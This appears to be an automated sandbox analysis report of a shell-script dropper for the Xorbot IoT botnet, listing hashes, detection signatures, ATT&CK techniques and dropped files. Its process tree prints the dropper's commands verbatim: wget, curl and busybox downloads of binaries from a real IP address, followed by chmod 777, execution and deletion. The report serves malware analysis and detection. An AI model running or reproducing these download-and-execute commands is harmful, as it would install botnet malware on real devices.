xorbot | ba9042796dea6961ae0dd9690a3a0e17f9652519a9dd2a1137fe3ca12366dc3e

Analysis

max time kernel
149s
max time network
126s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/02/2025, 19:57

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General

Target
bins.sh
Size 10KB
Sample250210-ypb97avper
SHA256 ba9042796dea6961ae0dd9690a3a0e17f9652519a9dd2a1137fe3ca12366dc3e
MD5 53efb8198abbadebf6e276babf5a83f1
SHA1 d32bb385069353ae727296b33b5734d8bfa2a31f
SHA512 5fb2c707a4bed8c9494d004bee1070527c8d3273004a1728df543dd8e284f8d6f01f34d26173ee07b497e26d1e10e79abfbb91a2d5542915cebc0ca8d29a27a8
SSDEEP 192:n9ij1egAnPK+6CfsFOS0A4RV/CwcCfsFOSGRVtgAnPK+Mnijx:n9+m6CfsFOS0A4RV/rcCfsFOSGRVl6y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
786	chmod
826	chmod
833	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5	787	bins.sh
/tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ	827	bins.sh
/tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd	834	bins.sh

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ	curl
File opened for modification	/tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd	wget
File opened for modification	/tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd	busybox
File opened for modification	/tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5	wget
File opened for modification	/tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5	curl
File opened for modification	/tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5	busybox
File opened for modification	/tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ	wget
File opened for modification	/tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ	busybox
File opened for modification	/tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd	curl
File opened for modification	/tmp/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  ./UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  PID:787
- /bin/rm
  rm UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
  2⤵
  PID:789
- /usr/bin/wget
  wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  ./1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  PID:827
- /bin/rm
  rm 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
  2⤵
  PID:829
- /usr/bin/wget
  wget http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  ./Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  PID:834
- /bin/rm
  rm Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
  2⤵
  PID:836
- /usr/bin/wget
  wget http://37.44.238.88/bins/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
  2⤵
  - Writes file to tmp directory
  PID:837

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ

Path /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5

Path /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd

Path /tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr

Path /tmp/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
Size 83KB
SHA256 adea43e692d433411e29fa26ebc94f930767dc6e54a2b4f4c7626a76ad571214
MD5 75f69ffc8ba5292a768b0e43718763d3
SHA1 14ffba8f9bd537ce7a6a7b1ecb66aa61078a09b3
SHA512 99892f28e184ac96c516116e89535ee25e4c82ba1fce7f9904683e0762fedd85fce41c0d53a235124b7a0996dabaa05991dd83c071ba6543599a56b29f5fe500
SSDEEP 1536:o06fstGvsmoTq++3ZiUxCoyZeuP1XyukR2ot5KxUN3agQO76971SDG:o0pHqiUxCoypP1Xyukbt56UFQ71Sq
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads